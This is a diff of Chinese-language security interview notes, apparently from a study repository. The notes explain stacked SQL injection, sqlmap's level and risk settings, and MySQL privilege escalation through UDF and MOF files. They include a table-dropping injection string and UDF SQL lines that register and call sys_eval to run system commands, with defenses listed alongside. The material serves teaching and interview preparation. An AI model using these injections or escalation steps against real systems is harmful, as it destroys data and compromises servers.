@@ -0,0 +1,26 @@
|
|||||||
|
### 堆叠注入漏洞原理
|
||||||
|
|
||||||
|
**正常查询**
|
||||||
|
|
||||||
|
假设一个网站的查询语句是这样拼接的:
|
||||||
|
|
||||||
|
```sql
|
||||||
|
SELECT * FROM users WHERE id = '用户输入';
|
||||||
|
```
|
||||||
|
|
||||||
|
如果用户输入 `1`,执行的 SQL 语句就是:
|
||||||
|
|
||||||
|
```sql
|
||||||
|
SELECT * FROM users WHERE id = '1';
|
||||||
|
```
|
||||||
|
|
||||||
|
**堆叠注入攻击**
|
||||||
|
|
||||||
|
如果攻击者在输入框中输入 `1; DROP TABLE users`,并且后端没有过滤分号,最终执行的 SQL 语句就会变成:
|
||||||
|
|
||||||
|
```sql
|
||||||
|
SELECT * FROM users WHERE id = '1';
|
||||||
|
DROP TABLE users;
|
||||||
|
```
|
||||||
|
|
||||||
|
数据库服务器会按顺序执行这两条语句。第一条是正常的查询,第二条则是**删除 `users` 表**的恶意命令
|
||||||
@@ -0,0 +1,30 @@
|
|||||||
|
### SQLMap 参数 level 与 risk 区别
|
||||||
|
|
||||||
|
**level (探测等级)**
|
||||||
|
|
||||||
|
`level` 选项用于指定 `sqlmap` **测试的深度**,范围从1到5。`level` 值越高,`sqlmap` 会尝试更多的 Payload,但同时也会增加请求的数量和测试时间
|
||||||
|
|
||||||
|
- **Level 1**:默认等级,会测试一些基本的 Payload,比如单引号 `'` 和双引号 `"`。这适用于快速探测,通常不会对应用造成太大影响
|
||||||
|
- **Level 2**:会增加基于时间的 Payload,用于测试盲注
|
||||||
|
- **Level 3**:会测试 `AND/OR` 布尔盲注以及一些常见的报错注入 Payload
|
||||||
|
- **Level 4**:会测试一些不常见的、复杂的 Payload,例如基于 `UNION` 查询的 Payload
|
||||||
|
- **Level 5**:最高等级,会测试所有的 Payload,包括一些非常规的、可能导致应用崩溃的 Payload
|
||||||
|
|
||||||
|
**总结**:`level` 决定了 `sqlmap` 攻击的**深度和复杂性**,它告诉 `sqlmap` **应该使用多少种不同的技术**来探测漏洞
|
||||||
|
|
||||||
|
**risk (危险等级)**
|
||||||
|
|
||||||
|
`risk` 选项用于指定 `sqlmap` **执行 Payload 的危险程度**,范围从1到3。`risk` 值越高,`sqlmap` 会使用一些可能对数据库**造成修改或破坏**的 Payload
|
||||||
|
|
||||||
|
- **Risk 1**:默认等级,`sqlmap` 只会使用那些不会对数据库数据造成修改的 Payload。例如,`UNION` 查询、布尔盲注等
|
||||||
|
- **Risk 2**:会增加一些可能造成轻微数据修改的 Payload,比如**基于 `GET` 或 `POST` 参数的更新语句**
|
||||||
|
- **Risk 3**:最高等级,会尝试**可能对数据库造成重大破坏**的 Payload,例如 `DELETE`、`INSERT` 和 `UPDATE` 等。在没有明确授权的情况下,不建议使用这个等级
|
||||||
|
|
||||||
|
**总结**:`risk` 决定了 `sqlmap` 攻击的**潜在危害性**,它告诉 `sqlmap` **可以执行多“危险”的操作**
|
||||||
|
|
||||||
|
| 特征 | level (探测等级) | risk (危险等级) |
|
||||||
|
| -------- | ------------------------------------ | ------------------------------ |
|
||||||
|
| 关注点 | 攻击深度和技术类型 | 攻击危险性和破坏程度 |
|
||||||
|
| 决定因素 | 攻击手法(布尔、时间、报错、联合等) | 攻击操作(查询、更新、删除等) |
|
||||||
|
| 默认值 | 1 | 1 |
|
||||||
|
| 常用组合 | level 3 或更高 | risk 2 或更高 |
|
||||||
@@ -0,0 +1,47 @@
|
|||||||
|
### MySQL 提权方式有哪些
|
||||||
|
|
||||||
|
**1. UDF 提权(User-Defined Function)**
|
||||||
|
|
||||||
|
UDF 提权是 MySQL 提权最常见且最有效的方式之一。它利用了 MySQL 允许用户通过 C/C++ 编写自定义函数并加载到数据库中执行的特性
|
||||||
|
|
||||||
|
- **前提条件:**
|
||||||
|
|
||||||
|
- **高权限**:当前 MySQL 用户账户必须具备 `CREATE FUNCTION` 和 `FILE` 权限
|
||||||
|
- **可写目录**:需要将恶意 UDF 库文件(`.dll` 或 `.so`)写入到 MySQL 插件目录中
|
||||||
|
|
||||||
|
- **攻击步骤:**
|
||||||
|
|
||||||
|
1. **上传 UDF 库文件**:攻击者利用 SQL 注入或文件写入漏洞,将一个包含恶意系统命令执行功能的 UDF 库文件(例如 `lib_mysqludf_sys.so` 或 `mysql.dll`)上传到 MySQL 服务器的可写目录,通常是插件目录 (`/usr/lib/mysql/plugin/`) 或其他可写目录
|
||||||
|
|
||||||
|
2. **创建自定义函数**:使用 SQL 语句,调用 `CREATE FUNCTION` 命令,将上传的 UDF 库文件中的恶意函数(如 `sys_exec` 或 `sys_eval`)注册为 MySQL 函数
|
||||||
|
|
||||||
|
```sql
|
||||||
|
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'lib_mysqludf_sys.so';
|
||||||
|
```
|
||||||
|
|
||||||
|
3. **执行系统命令**:通过调用新创建的函数,执行任意系统命令,从而实现提权
|
||||||
|
|
||||||
|
```sql
|
||||||
|
SELECT sys_eval('whoami');
|
||||||
|
```
|
||||||
|
|
||||||
|
- **防御方法:**
|
||||||
|
|
||||||
|
- **最小权限原则**:不要授予 MySQL 用户 `FILE` 或 `SUPER` 等高权限
|
||||||
|
- **加固配置**:修改 `my.cnf` 文件,设置 `secure_file_priv` 为空或一个指定的安全目录,以限制文件导入导出功能
|
||||||
|
|
||||||
|
**2. MOF 提权(Managed Object Format)**
|
||||||
|
|
||||||
|
MOF 提权是针对 Windows 服务器的一种特定提权方式,利用了 Windows Server 2003/2008 上的一些服务配置不当
|
||||||
|
|
||||||
|
- **前提条件:**
|
||||||
|
- **Windows 服务器**:目标服务器必须是 Windows 系统
|
||||||
|
- **可写目录**:攻击者必须能够将恶意 MOF 文件写入到 `%systemroot%\system32\wbem\mof` 目录下
|
||||||
|
- **MySQL 权限**:需要有 `FILE` 权限,以写入文件
|
||||||
|
- **攻击步骤:**
|
||||||
|
1. **编写恶意 MOF 文件**:MOF 是 Windows 管理规范(WMI)使用的文件格式。攻击者可以编写一个恶意的 MOF 文件,让其在被系统加载时,自动执行一个指定的命令,比如创建一个新的管理员用户
|
||||||
|
2. **上传 MOF 文件**:利用 `SELECT ... INTO OUTFILE` 语句,将恶意 MOF 文件写入到 `%systemroot%\system32\wbem\mof` 目录下
|
||||||
|
3. **服务触发**:Windows 的 `CIMOM` 服务会周期性地扫描该目录下的 MOF 文件,并自动执行其内容。当恶意 MOF 文件被执行后,攻击者指定的命令就会被执行,从而实现提权
|
||||||
|
- **防御方法:**
|
||||||
|
- **最小权限原则**:不要授予 MySQL 用户 `FILE` 权限
|
||||||
|
- **更新系统**:该漏洞在较新的 Windows 系统版本中已被修复
|
||||||
@@ -1 +1,20 @@
|
|||||||
|
# 网安面试题(涵盖护网、红队、逆向、二进制)
|
||||||
|
|
||||||
|
上万道安全面试题已经全部为您划分好,适用于网络安全所有岗位!!!
|
||||||
|
|
||||||
|
HR:请问…………
|
||||||
|
|
||||||
|
我:叽里咕噜说啥呢,看看八股文上写了没
|
||||||
|
|
||||||
|
(Summary.md 是目录噢!!)
|
||||||
|
|
||||||
|
**🙏 特别感谢名单**
|
||||||
|
|
||||||
|
在整理和完善本项目的过程中,以下朋友给予了宝贵的帮助与支持,在此表示诚挚的感谢!(排名不分先后)
|
||||||
|
|
||||||
|
- **@用户名1** —— 提供了大量安全面试题方向的补充
|
||||||
|
- **@用户名2** —— 纠正了多个问题的答案与表述
|
||||||
|
- **@用户名3** —— 贡献了真实面试题经验分享
|
||||||
|
- **@用户名4** —— 对内容结构与目录提出改进建议
|
||||||
|
|
||||||
|
如果您也愿意参与本项目,欢迎通过 **微信: XR3327026244** 投稿面试题或反馈问题,我们会在后续版本中加入您的名字
|
||||||
|
|||||||
Reference in New Issue
Block a user